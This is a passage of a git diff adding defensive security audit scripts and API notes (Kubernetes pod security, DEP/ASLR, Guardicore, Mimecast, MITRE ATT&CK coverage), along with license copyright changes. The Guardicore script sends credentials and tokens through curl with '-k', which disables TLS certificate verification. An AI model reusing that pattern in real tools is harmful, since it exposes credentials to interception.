"severity": "HIGH"}) + + dropped = caps.get("drop", []) + if "ALL" not in dropped: + findings.append({"pod": pod_name, "container": c_name, "ns": ns, + "violation": "capabilities.drop not ALL", + "level": "restricted", "severity": "MEDIUM"}) + + return findings + + +def generate_namespace_labels(namespace, level="restricted"): + """Generate PSA label patch for a namespace.""" + labels = { + f"pod-security.kubernetes.io/enforce": level, + f"pod-security.kubernetes.io/audit": level, + f"pod-security.kubernetes.io/warn": level, + } + return { + "command": f'kubectl label namespace {namespace} ' + f'pod-security.kubernetes.io/enforce={level} ' + f'pod-security.kubernetes.io/audit={level} ' + f'pod-security.kubernetes.io/warn={level} --overwrite', + "labels": labels, + } + + +def generate_compliance_report(findings): + """Generate PSS compliance summary.""" + by_level = Counter(f.get("level", "unknown") for f in findings) + by_severity = Counter(f.get("severity", "unknown") for f in findings) + by_violation = Counter(f.get("violation", "unknown") for f in findings) + return { + "total_violations": len(findings), + "by_level": dict(by_level), + "by_severity": dict(by_severity), + "top_violations": dict(by_violation.most_common(10)), + "baseline_violations": by_level.get("baseline", 0), + "restricted_violations": by_level.get("restricted", 0), + } + + +def main(): + parser = argparse.ArgumentParser(description="Kubernetes Pod Security Standards Agent") + parser.add_argument("--pods", help="Pods JSON to audit") + parser.add_argument("--namespace", help="Namespace for label generation") + parser.add_argument("--level", choices=["privileged", "baseline", "restricted"], + default="restricted") + parser.add_argument("--action", choices=["audit-ns", "audit-pods", "generate", "full"], + default="full") + parser.add_argument("--output", default="pss_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("audit-ns", "full"): + ns_audit = audit_namespace_labels() + report["results"]["namespace_audit"] = ns_audit + if isinstance(ns_audit, list): + unprotected = sum(1 for n in ns_audit if not n["protected"] and not n["system"]) + print(f"[+] Namespaces: {unprotected} unprotected") + + if args.action in ("audit-pods", "full") and args.pods: + findings = audit_pod_security(args.pods) + summary = generate_compliance_report(findings) + report["results"]["pod_audit"] = findings + report["results"]["summary"] = summary + print(f"[+] Pod violations: {summary['total_violations']}") + + if args.action in ("generate", "full") and args.namespace: + labels = generate_namespace_labels(args.namespace, args.level) + report["results"]["generated"] = labels + print(f"[+] Labels for {args.namespace}: {args.level}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-log-integrity-with-blockchain/LICENSE b/skills/implementing-log-integrity-with-blockchain/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-log-integrity-with-blockchain/LICENSE +++ b/skills/implementing-log-integrity-with-blockchain/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-memory-protection-with-dep-aslr/LICENSE b/skills/implementing-memory-protection-with-dep-aslr/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-memory-protection-with-dep-aslr/LICENSE +++ b/skills/implementing-memory-protection-with-dep-aslr/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-memory-protection-with-dep-aslr/references/api-reference.md b/skills/implementing-memory-protection-with-dep-aslr/references/api-reference.md new file mode 100644 index 00000000..2727ae78 --- /dev/null +++ b/skills/implementing-memory-protection-with-dep-aslr/references/api-reference.md @@ -0,0 +1,63 @@ +# API Reference: Implementing Memory Protection with DEP and ASLR + +## Windows PowerShell Commands + +```powershell +# Check system-wide mitigations +Get-ProcessMitigation -System +# Check specific process +Get-ProcessMitigation -Name chrome.exe +# Set system-wide DEP +Set-ProcessMitigation -System -Enable DEP +# Import XML policy +Set-ProcessMitigation -PolicyFilePath policy.xml +# Export current policy +Get-ProcessMitigation -RegistryConfigFilePath export.xml +``` + +## Memory Protection Mechanisms + +| Mechanism | OS | Description | +|-----------|-----|------------| +| DEP/NX | Windows/Linux | Prevent code execution from data pages | +| ASLR | Windows/Linux | Randomize memory layout | +| CFG | Windows | Control Flow Guard | +| SEHOP | Windows | SEH Overwrite Protection | +| Stack Canary | Linux | Detect stack buffer overflow | +| PIE | Linux | Position-Independent Executable | +| RELRO | Linux | Read-Only Relocations | +| FORTIFY_SOURCE | Linux | Buffer overflow checks | + +## Linux ASLR Check + +```bash +# Check ASLR level (0=off, 1=conservative, 2=full) +cat /proc/sys/kernel/randomize_va_space +# Enable full ASLR +echo 2 > /proc/sys/kernel/randomize_va_space +``` + +## ELF Binary Check (checksec) + +```bash +checksec --file=/usr/bin/target +# Or with readelf +readelf -l binary | grep GNU_STACK +readelf -d binary | grep BIND_NOW +``` + +## GCC Compilation Flags + +| Flag | Protection | +|------|-----------| +| `-fstack-protector-strong` | Stack canary | +| `-D_FORTIFY_SOURCE=2` | Buffer overflow checks | +| `-pie -fPIE` | Position-independent | +| `-Wl,-z,relro,-z,now` | Full RELRO | +| `-Wl,-z,noexecstack` | NX stack | + +### References + +- Windows Exploit Protection: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/exploit-protection +- checksec: https://github.com/slimm609/checksec.sh +- ASLR: https://en.wikipedia.org/wiki/Address_space_layout_randomization diff --git a/skills/implementing-memory-protection-with-dep-aslr/scripts/agent.py b/skills/implementing-memory-protection-with-dep-aslr/scripts/agent.py new file mode 100644 index 00000000..ffa1956e --- /dev/null +++ b/skills/implementing-memory-protection-with-dep-aslr/scripts/agent.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +"""DEP/ASLR Memory Protection Agent - audits processes and binaries for memory protection mitigations.""" + +import json +import argparse +import logging +import subprocess +import re +import os +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def check_windows_dep_policy(): + """Check Windows DEP/NX policy via bcdedit.""" + cmd = ["bcdedit", "/enum", "{current}"] + result = subprocess.run(cmd, capture_output=True, text=True) + dep_policy = "unknown" + for line in result.stdout.split("\n"): + if "nx" in line.lower(): + dep_policy = line.split()[-1] if line.split() else "unknown" + return {"dep_policy": dep_policy, "recommended": "AlwaysOn"} + + +def check_windows_process_mitigations(): + """Check process mitigation policies using PowerShell Get-ProcessMitigation.""" + cmd = ["powershell", "-Command", + "Get-Process | ForEach-Object { try { $m = Get-ProcessMitigation -Id $_.Id -ErrorAction Stop; " + "[PSCustomObject]@{Name=$_.Name;PID=$_.Id;DEP=$m.DEP.Enable;ASLR=$m.ASLR.ForceRelocateImages;" + "CFG=$m.CFG.Enable;StrictHandle=$m.StrictHandle.Enable} } catch {} } | ConvertTo-Json"] + result = subprocess.run(cmd, capture_output=True, text=True) + try: + processes = json.loads(result.stdout) if result.stdout else [] + if isinstance(processes, dict): + processes = [processes] + return processes + except json.JSONDecodeError: + return [] + + +def check_linux_aslr(): + """Check Linux ASLR configuration.""" + try: + with open("/proc/sys/kernel/randomize_va_space") as f: + value = int(f.read().strip()) + levels = {0: "disabled", 1: "partial", 2: "full"} + return {"aslr_level": value, "status": levels.get(value, "unknown"), "recommended": 2} + except (FileNotFoundError, ValueError): + return {"aslr_level": -1, "status": "unknown"} + + +def check_linux_nx_support(): + """Check NX bit support on Linux.""" + result = subprocess.run(["grep", "nx", "/proc/cpuinfo"], capture_output=True, text=True) + return {"nx_supported": "nx" in result.stdout.lower()} + + +def check_elf_pie_relro(binary_path): + """Check ELF binary for PIE, RELRO, stack canary, and NX using readelf/checksec.""" + findings = {"binary": binary_path, "pie": False, "relro": "none", "nx": False, "canary": False} + readelf_cmd = subprocess.run(["readelf", "-h", binary_path], capture_output=True, text=True) + if "DYN" in readelf_cmd.stdout: + findings["pie"] = True + readelf_d = subprocess.run(["readelf", "-d", binary_path], capture_output=True, text=True) + if "BIND_NOW" in readelf_d.stdout: + findings["relro"] = "full" + elif "GNU_RELRO" in readelf_d.stdout: + findings["relro"] = "partial" + readelf_s = subprocess.run(["readelf", "-s", binary_path], capture_output=True, text=True) + if "__stack_chk_fail" in readelf_s.stdout: + findings["canary"] = True + readelf_l = subprocess.run(["readelf", "-l", binary_path], capture_output=True, text=True) + for line in readelf_l.stdout.split("\n"): + if "GNU_STACK" in line and "RWE" not in line: + findings["nx"] = True + score = sum([findings["pie"], findings["relro"] == "full", findings["nx"], findings["canary"]]) + findings["protection_score"] = f"{score}/4" + return findings + + +def scan_directory_binaries(directory, extensions=None): + """Scan directory for binaries and check protections.""" + if extensions is None: + extensions = [""] + results = [] + for root, dirs, files in os.walk(directory): + for fname in files: + fpath = os.path.join(root, fname) + if os.path.isfile(fpath) and os.access(fpath, os.X_OK): + try: + result = check_elf_pie_relro(fpath) + results.append(result) + except Exception: + continue + if len(results) >= 100: + break + return results + + +def generate_report(system_checks, binary_checks): + weak_binaries = [b for b in binary_checks if not b.get("pie") or b.get("relro") == "none"] + report = { + "timestamp": datetime.utcnow().isoformat(), + "system_protections": system_checks, + "binaries_scanned": len(binary_checks), + "weak_binaries": len(weak_binaries), + "protection_summary": { + "pie_enabled": sum(1 for b in binary_checks if b.get("pie")), + "full_relro": sum(1 for b in binary_checks if b.get("relro") == "full"), + "nx_enabled": sum(1 for b in binary_checks if b.get("nx")), + "canary_present": sum(1 for b in binary_checks if b.get("canary")), + }, + "weak_binary_details": weak_binaries[:20], + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="DEP/ASLR Memory Protection Audit Agent") + parser.add_argument("--scan-dir", default="/usr/bin", help="Directory to scan binaries") + parser.add_argument("--platform", choices=["linux", "windows", "auto"], default="auto") + parser.add_argument("--output", default="memory_protection_report.json") + args = parser.parse_args() + + platform = args.platform + if platform == "auto": + platform = "windows" if os.name == "nt" else "linux" + + system_checks = {} + if platform == "linux": + system_checks["aslr"] = check_linux_aslr() + system_checks["nx"] = check_linux_nx_support() + binary_checks = scan_directory_binaries(args.scan_dir) + else: + system_checks["dep"] = check_windows_dep_policy() + process_mitigations = check_windows_process_mitigations() + binary_checks = [] + for proc in process_mitigations: + binary_checks.append({ + "binary": proc.get("Name", ""), + "pid": proc.get("PID", 0), + "pie": bool(proc.get("ASLR")), + "nx": bool(proc.get("DEP")), + "canary": False, + "relro": "n/a", + }) + + report = generate_report(system_checks, binary_checks) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Scanned %d binaries, %d with weak protections", + report["binaries_scanned"], report["weak_binaries"]) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-microsegmentation-with-guardicore/LICENSE b/skills/implementing-microsegmentation-with-guardicore/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-microsegmentation-with-guardicore/LICENSE +++ b/skills/implementing-microsegmentation-with-guardicore/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-microsegmentation-with-guardicore/references/api-reference.md b/skills/implementing-microsegmentation-with-guardicore/references/api-reference.md new file mode 100644 index 00000000..bc696444 --- /dev/null +++ b/skills/implementing-microsegmentation-with-guardicore/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Implementing Microsegmentation with Guardicore + +## Akamai Guardicore API + +```python +import requests +headers = {"Authorization": "Bearer "} +base = "https://guardicore.example.com/api/v3.0" +# Get assets +assets = requests.get(f"{base}/assets", headers=headers).json() +# Get policies +policies = requests.get(f"{base}/policies", headers=headers).json() +# Get traffic map +traffic = requests.get(f"{base}/connections", headers=headers, + params={"from_time": "2024-01-01"}).json() +``` + +## Policy Modes + +| Mode | Description | +|------|-------------| +| Reveal | Monitor only, log violations | +| Enforce | Block unauthorized traffic | +| Override | Temporary exception | + +## Ringfencing Pattern + +| Rule | Source | Destination | Action | +|------|--------|-------------|--------| +| 1 | Frontend | Backend:8443 | Allow | +| 2 | Backend | Database:5432 | Allow | +| 3 | Any | Backend:* | Deny | +| 4 | Backend | Any | Deny | + +## Segmentation Metrics + +| Metric | Target | +|--------|--------| +| Coverage rate | > 80% of flows | +| Enforced policies | > 90% | +| Cross-zone flows controlled | 100% | +| Default deny coverage | All zones | + +## Traffic Analysis Fields + +| Field | Description | +|-------|-------------| +| `src_ip` | Source IP address | +| `dst_ip` | Destination IP | +| `dst_port` | Destination port | +| `src_label` | Source workload label | +| `dst_label` | Destination workload label | +| `count` | Flow count | + +### References + +- Akamai Guardicore: https://www.akamai.com/products/akamai-segmentation +- Zero Trust Microsegmentation: https://www.nist.gov/publications/zero-trust-architecture +- NIST SP 800-207: https://csrc.nist.gov/pubs/sp/800/207/final diff --git a/skills/implementing-microsegmentation-with-guardicore/scripts/agent.py b/skills/implementing-microsegmentation-with-guardicore/scripts/agent.py new file mode 100644 index 00000000..30370927 --- /dev/null +++ b/skills/implementing-microsegmentation-with-guardicore/scripts/agent.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python3 +"""Guardicore Microsegmentation Agent - audits segmentation policies and network flow visibility.""" + +import json +import argparse +import logging +import subprocess +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +GC_API = "https://gc-centra.example.com/api/v3.0" + + +def gc_request(api_url, token, endpoint, method="GET", data=None): + cmd = ["curl", "-s", "-k", "-X", method, + "-H", f"Authorization: Bearer {token}", + "-H", "Content-Type: application/json", + f"{api_url}{endpoint}"] + if data: + cmd.extend(["-d", json.dumps(data)]) + result = subprocess.run(cmd, capture_output=True, text=True) + return json.loads(result.stdout) if result.stdout else {} + + +def authenticate(api_url, username, password): + """Authenticate to Guardicore Centra and get access token.""" + data = {"username": username, "password": password} + result = gc_request(api_url, "", "/authenticate", "POST", data) + return result.get("access_token", "") + + +def get_segmentation_policies(api_url, token): + """Retrieve all segmentation policies.""" + return gc_request(api_url, token, "/policies") + + +def get_network_flows(api_url, token, hours_back=24): + """Get recent network flow data for analysis.""" + params = f"?time_range={hours_back}h&limit=1000" + return gc_request(api_url, token, f"/connections{params}") + + +def get_labels(api_url, token): + """Get all asset labels/tags.""" + return gc_request(api_url, token, "/labels") + + +def get_agents(api_url, token): + """Get deployed agent status.""" + return gc_request(api_url, token, "/agents") + + +def analyze_policy_coverage(policies, flows): + """Analyze how well policies cover observed traffic.""" + policy_rules = set() + for policy in policies: + for rule in policy.get("rules", []): + src = rule.get("source", {}).get("label", "any") + dst = rule.get("destination", {}).get("label", "any") + port = rule.get("port", "any") + policy_rules.add((src, dst, str(port))) + covered = 0 + uncovered_flows = [] + for flow in flows: + src_label = flow.get("source_label", "unknown") + dst_label = flow.get("destination_label", "unknown") + port = str(flow.get("destination_port", "")) + if (src_label, dst_label, port) in policy_rules or ("any", "any", "any") in policy_rules: + covered += 1 + else: + uncovered_flows.append({ + "source": flow.get("source_ip", ""), + "destination": flow.get("destination_ip", ""), + "port": port, + "protocol": flow.get("protocol", ""), + "bytes": flow.get("bytes_total", 0), + }) + total = len(flows) + return { + "total_flows": total, + "covered_by_policy": covered, + "uncovered": len(uncovered_flows), + "coverage_percent": round(covered / max(total, 1) * 100, 1), + "top_uncovered_flows": sorted(uncovered_flows, key=lambda x: x["bytes"], reverse=True)[:20], + } + + +def detect_lateral_movement_risk(flows): + """Identify potential lateral movement patterns in east-west traffic.""" + source_targets = defaultdict(set) + for flow in flows: + src = flow.get("source_ip", "") + dst = flow.get("destination_ip", "") + if src and dst and src != dst: + source_targets[src].add(dst) + risks = [] + for src, targets in source_targets.items(): + if len(targets) > 10: + risks.append({"source_ip": src, "unique_targets": len(targets), "risk": "high"}) + return sorted(risks, key=lambda x: x["unique_targets"], reverse=True) + + +def audit_agent_health(agents): + """Audit deployment agent health status.""" + healthy = sum(1 for a in agents if a.get("status") == "online") + offline = sum(1 for a in agents if a.get("status") == "offline") + return {"total": len(agents), "online": healthy, "offline": offline, + "health_percent": round(healthy / max(len(agents), 1) * 100, 1)} + + +def generate_report(policies, flows, agents, api_url): + coverage = analyze_policy_coverage(policies, flows) + lateral = detect_lateral_movement_risk(flows) + health = audit_agent_health(agents) + report = { + "timestamp": datetime.utcnow().isoformat(), + "guardicore_url": api_url, + "total_policies": len(policies), + "policy_coverage": coverage, + "lateral_movement_risks": lateral[:10], + "agent_health": health, + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="Guardicore Microsegmentation Audit Agent") + parser.add_argument("--api-url", default=GC_API, help="Guardicore Centra API URL") + parser.add_argument("--username", required=True, help="API username") + parser.add_argument("--password", required=True, help="API password") + parser.add_argument("--hours-back", type=int, default=24, help="Flow analysis window (hours)") + parser.add_argument("--output", default="microseg_report.json") + args = parser.parse_args() + + token = authenticate(args.api_url, args.username, args.password) + policies = get_segmentation_policies(args.api_url, token) + flows = get_network_flows(args.api_url, token, args.hours_back) + agents = get_agents(args.api_url, token) + report = generate_report(policies, flows, agents, args.api_url) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Coverage: %.1f%%, Agent health: %.1f%%", + report["policy_coverage"]["coverage_percent"], report["agent_health"]["health_percent"]) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-mimecast-targeted-attack-protection/LICENSE b/skills/implementing-mimecast-targeted-attack-protection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-mimecast-targeted-attack-protection/LICENSE +++ b/skills/implementing-mimecast-targeted-attack-protection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-mimecast-targeted-attack-protection/references/api-reference.md b/skills/implementing-mimecast-targeted-attack-protection/references/api-reference.md new file mode 100644 index 00000000..1a207303 --- /dev/null +++ b/skills/implementing-mimecast-targeted-attack-protection/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Implementing Mimecast Targeted Attack Protection + +## Mimecast API Authentication + +```python +import requests +headers = {"Authorization": "MC access_key:secret_key", + "x-mc-app-id": "app-id"} +resp = requests.post("https://us-api.mimecast.com/api/ttp/url/get-logs", + headers=headers, json={"data": [{"from": "2024-01-01"}]}) +``` + +## TTP API Endpoints + +| Endpoint | Description | +|----------|-------------| +| `/api/ttp/url/get-logs` | URL Protection logs | +| `/api/ttp/attachment/get-logs` | Attachment sandbox logs | +| `/api/ttp/impersonation/get-logs` | Impersonation detections | + +## URL Protection Actions + +| Action | Description | +|--------|-------------| +| allow | URL permitted | +| block | URL blocked (malicious) | +| warn | User warned before click | +| sandbox | Deferred for sandbox analysis | + +## Attachment Sandbox Results + +| Result | Severity | +|--------|----------| +| safe | INFO | +| suspicious | MEDIUM | +| malicious | CRITICAL | +| sandbox_timeout | HIGH | + +## Impersonation Types + +| Type | Description | +|------|-------------| +| Internal | Employee name spoofing | +| External | Vendor/partner spoofing | +| Domain | Similar domain detection | + +### References + +- Mimecast API: https://developer.services.mimecast.com/ +- TTP URL Protection: https://developer.services.mimecast.com/docs/threatsintel/1/routes/ttp/url/get-logs/post diff --git a/skills/implementing-mimecast-targeted-attack-protection/scripts/agent.py b/skills/implementing-mimecast-targeted-attack-protection/scripts/agent.py new file mode 100644 index 00000000..79a151bb --- /dev/null +++ b/skills/implementing-mimecast-targeted-attack-protection/scripts/agent.py @@ -0,0 +1,150 @@ +#!/usr/bin/env python3 +"""Mimecast Targeted Attack Protection Agent - monitors TAP events and URL/attachment threats.""" + +import json +import argparse +import logging +import subprocess +import hashlib +import hmac +import base64 +import uuid +from datetime import datetime +from collections import defaultdict + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +MIMECAST_BASE = "https://us-api.mimecast.com" + + +def mimecast_request(base_url, app_id, app_key, access_key, secret_key, endpoint, data=None): + """Execute authenticated Mimecast API request.""" + request_id = str(uuid.uuid4()) + hdr_date = datetime.utcnow().strftime("%a, %d %b %Y %H:%M:%S") + " UTC" + data_to_sign = f"{hdr_date}:{request_id}:{endpoint}:{app_key}" + hmac_sha1 = hmac.new(base64.b64decode(secret_key), data_to_sign.encode(), hashlib.sha1) + sig = base64.b64encode(hmac_sha1.digest()).decode() + headers = { + "Authorization": f"MC {access_key}:{sig}", + "x-mc-app-id": app_id, + "x-mc-date": hdr_date, + "x-mc-req-id": request_id, + "Content-Type": "application/json", + } + cmd = ["curl", "-s", "-X", "POST", f"{base_url}{endpoint}"] + for k, v in headers.items(): + cmd.extend(["-H", f"{k}: {v}"]) + if data: + cmd.extend(["-d", json.dumps({"data": [data]})]) + result = subprocess.run(cmd, capture_output=True, text=True) + return json.loads(result.stdout) if result.stdout else {} + + +def get_url_logs(base_url, app_id, app_key, access_key, secret_key, date_from=None): + """Get URL Protection logs.""" + data = {} + if date_from: + data["from"] = date_from + return mimecast_request(base_url, app_id, app_key, access_key, secret_key, + "/api/ttp/url/get-logs", data) + + +def get_impersonation_logs(base_url, app_id, app_key, access_key, secret_key, date_from=None): + """Get impersonation protection logs.""" + data = {} + if date_from: + data["from"] = date_from + return mimecast_request(base_url, app_id, app_key, access_key, secret_key, + "/api/ttp/impersonation/get-logs", data) + + +def get_attachment_logs(base_url, app_id, app_key, access_key, secret_key, date_from=None): + """Get attachment protection logs.""" + data = {} + if date_from: + data["from"] = date_from + return mimecast_request(base_url, app_id, app_key, access_key, secret_key, + "/api/ttp/attachment/get-logs", data) + + +def analyze_url_threats(url_logs): + """Analyze URL click patterns and threat categories.""" + categories = defaultdict(int) + blocked = 0 + permitted = 0 + users_clicked = defaultdict(int) + for entry in url_logs: + cat = entry.get("scanResult", "unknown") + categories[cat] += 1 + if entry.get("action") == "block": + blocked += 1 + else: + permitted += 1 + users_clicked[entry.get("userEmailAddress", "")] += 1 + top_clickers = sorted(users_clicked.items(), key=lambda x: x[1], reverse=True)[:10] + return { + "total_url_events": len(url_logs), + "blocked": blocked, + "permitted": permitted, + "categories": dict(categories), + "top_clickers": [{"email": e, "clicks": c} for e, c in top_clickers], + } + + +def analyze_impersonation(imp_logs): + """Analyze impersonation attack patterns.""" + senders = defaultdict(int) + targets = defaultdict(int) + for entry in imp_logs: + senders[entry.get("senderAddress", "")] += 1 + targets[entry.get("recipientAddress", "")] += 1 + return { + "total_impersonation_events": len(imp_logs), + "unique_senders": len(senders), + "top_impersonated_senders": dict(sorted(senders.items(), key=lambda x: x[1], reverse=True)[:10]), + "most_targeted_users": dict(sorted(targets.items(), key=lambda x: x[1], reverse=True)[:10]), + } + + +def generate_report(url_analysis, imp_analysis, attachment_count): + return { + "timestamp": datetime.utcnow().isoformat(), + "url_protection": url_analysis, + "impersonation_protection": imp_analysis, + "attachment_threats": attachment_count, + "total_threats": url_analysis["blocked"] + imp_analysis["total_impersonation_events"] + attachment_count, + } + + +def main(): + parser = argparse.ArgumentParser(description="Mimecast Targeted Attack Protection Agent") + parser.add_argument("--base-url", default=MIMECAST_BASE) + parser.add_argument("--app-id", required=True, help="Mimecast Application ID") + parser.add_argument("--app-key", required=True, help="Mimecast Application Key") + parser.add_argument("--access-key", required=True, help="Mimecast Access Key") + parser.add_argument("--secret-key", required=True, help="Mimecast Secret Key") + parser.add_argument("--date-from", help="Start date YYYY-MM-DD") + parser.add_argument("--output", default="mimecast_tap_report.json") + args = parser.parse_args() + + url_resp = get_url_logs(args.base_url, args.app_id, args.app_key, args.access_key, args.secret_key, args.date_from) + url_logs = url_resp.get("data", [{}])[0].get("clickLogs", []) + imp_resp = get_impersonation_logs(args.base_url, args.app_id, args.app_key, args.access_key, args.secret_key, args.date_from) + imp_logs = imp_resp.get("data", [{}])[0].get("impersonationLogs", []) + att_resp = get_attachment_logs(args.base_url, args.app_id, args.app_key, args.access_key, args.secret_key, args.date_from) + att_logs = att_resp.get("data", [{}])[0].get("attachmentLogs", []) + + url_analysis = analyze_url_threats(url_logs) + imp_analysis = analyze_impersonation(imp_logs) + report = generate_report(url_analysis, imp_analysis, len(att_logs)) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Total threats: %d (URL blocked: %d, impersonation: %d, attachments: %d)", + report["total_threats"], url_analysis["blocked"], + imp_analysis["total_impersonation_events"], len(att_logs)) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-mitre-attack-coverage-mapping/LICENSE b/skills/implementing-mitre-attack-coverage-mapping/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-mitre-attack-coverage-mapping/LICENSE +++ b/skills/implementing-mitre-attack-coverage-mapping/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-mitre-attack-coverage-mapping/references/api-reference.md b/skills/implementing-mitre-attack-coverage-mapping/references/api-reference.md new file mode 100644 index 00000000..a18f2d6f --- /dev/null +++ b/skills/implementing-mitre-attack-coverage-mapping/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Implementing MITRE ATT&CK Coverage Mapping + +## ATT&CK Enterprise STIX Data + +```bash +# Download latest ATT&CK STIX bundle +curl -sL "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json" -o attack.json +``` + +## ATT&CK Navigator Layer Format + +```json +{ + "name": "Detection Coverage", + "domain": "enterprise-attack", + "versions": {"attack": "14", "navigator": "4.9.1"}, + "techniques": [ + {"techniqueID": "T1566", "score": 3, "color": "#80b1d3"} + ] +} +``` + +## ATT&CK Tactics (Enterprise) + +| ID | Tactic | Example Technique | +|----|--------|------------------| +| TA0001 | Initial Access | T1566 Phishing | +| TA0002 | Execution | T1059 Command Interpreter | +| TA0003 | Persistence | T1053 Scheduled Task | +| TA0004 | Privilege Escalation | T1078 Valid Accounts | +| TA0005 | Defense Evasion | T1027 Obfuscation | +| TA0006 | Credential Access | T1003 OS Credential Dumping | +| TA0008 | Lateral Movement | T1021 Remote Services | +| TA0011 | Command and Control | T1071 Application Layer Protocol | + +## Coverage Score + +| Score | Meaning | Color | +|-------|---------|-------| +| 0 | No detection | White | +| 1 | Single rule | Yellow | +| 2 | Multiple rules | Green | +| 3 | Good coverage | Blue | +| 4+ | Excellent | Red | + +### References + +- MITRE ATT&CK: https://attack.mitre.org/ +- ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/ +- ATT&CK STIX Data: https://github.com/mitre/cti diff --git a/skills/implementing-mitre-attack-coverage-mapping/scripts/agent.py b/skills/implementing-mitre-attack-coverage-mapping/scripts/agent.py new file mode 100644 index 00000000..3441527b --- /dev/null +++ b/skills/implementing-mitre-attack-coverage-mapping/scripts/agent.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +"""MITRE ATT&CK Coverage Mapping Agent - maps detection rules to ATT&CK techniques and identifies gaps.""" + +import json +import argparse +import logging +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +ENTERPRISE_TACTICS = [ + "TA0001", "TA0002", "TA0003", "TA0004", "TA0005", + "TA0006", "TA0007", "TA0008", "TA0009", "TA0010", + "TA0011", "TA0040", "TA0042", "TA0043", +] + +TACTIC_NAMES = { + "TA0001": "Initial Access", "TA0002": "Execution", "TA0003": "Persistence", + "TA0004": "Privilege Escalation", "TA0005": "Defense Evasion", + "TA0006": "Credential Access", "TA0007": "Discovery", "TA0008": "Lateral Movement", + "TA0009": "Collection", "TA0010": "Exfiltration", "TA0011": "Command and Control", + "TA0040": "Impact", "TA0042": "Resource Development", "TA0043": "Reconnaissance", +} + + +def load_detection_rules(filepath): + """Load detection rules with ATT&CK mappings.""" + with open(filepath) as f: + return json.load(f) + + +def load_attack_matrix(filepath): + """Load ATT&CK enterprise matrix (techniques per tactic).""" + with open(filepath) as f: + return json.load(f) + + +def map_rules_to_techniques(rules): + """Map detection rules to ATT&CK technique IDs.""" + technique_rules = defaultdict(list) + unmapped = [] + for rule in rules: + techniques = rule.get("mitre_attack", []) + if not techniques: + unmapped.append(rule.get("name", "unknown")) + continue + for tech in techniques: + technique_rules[tech].append({ + "rule_name": rule.get("name", ""), + "severity": rule.get("severity", "medium"), + "data_source": rule.get("data_source", ""), + "enabled": rule.get("enabled", True), + }) + return dict(technique_rules), unmapped + + +def calculate_coverage(technique_rules, attack_matrix): + """Calculate coverage percentage per tactic.""" + tactic_coverage = {} + for tactic_id, tactic_name in TACTIC_NAMES.items(): + techniques_in_tactic = attack_matrix.get(tactic_id, []) + total = len(techniques_in_tactic) + covered = sum(1 for t in techniques_in_tactic if t in technique_rules) + tactic_coverage[tactic_id] = { + "tactic_name": tactic_name, + "total_techniques": total, + "covered": covered, + "coverage_percent": round(covered / max(total, 1) * 100, 1), + "gaps": [t for t in techniques_in_tactic if t not in technique_rules], + } + return tactic_coverage + + +def identify_priority_gaps(tactic_coverage, priority_techniques=None): + """Identify high-priority coverage gaps.""" + gaps = [] + for tactic_id, data in tactic_coverage.items(): + for tech in data["gaps"]: + priority = "high" if (priority_techniques and tech in priority_techniques) else "medium" + gaps.append({ + "technique": tech, + "tactic": data["tactic_name"], + "tactic_id": tactic_id, + "priority": priority, + }) + return sorted(gaps, key=lambda x: (0 if x["priority"] 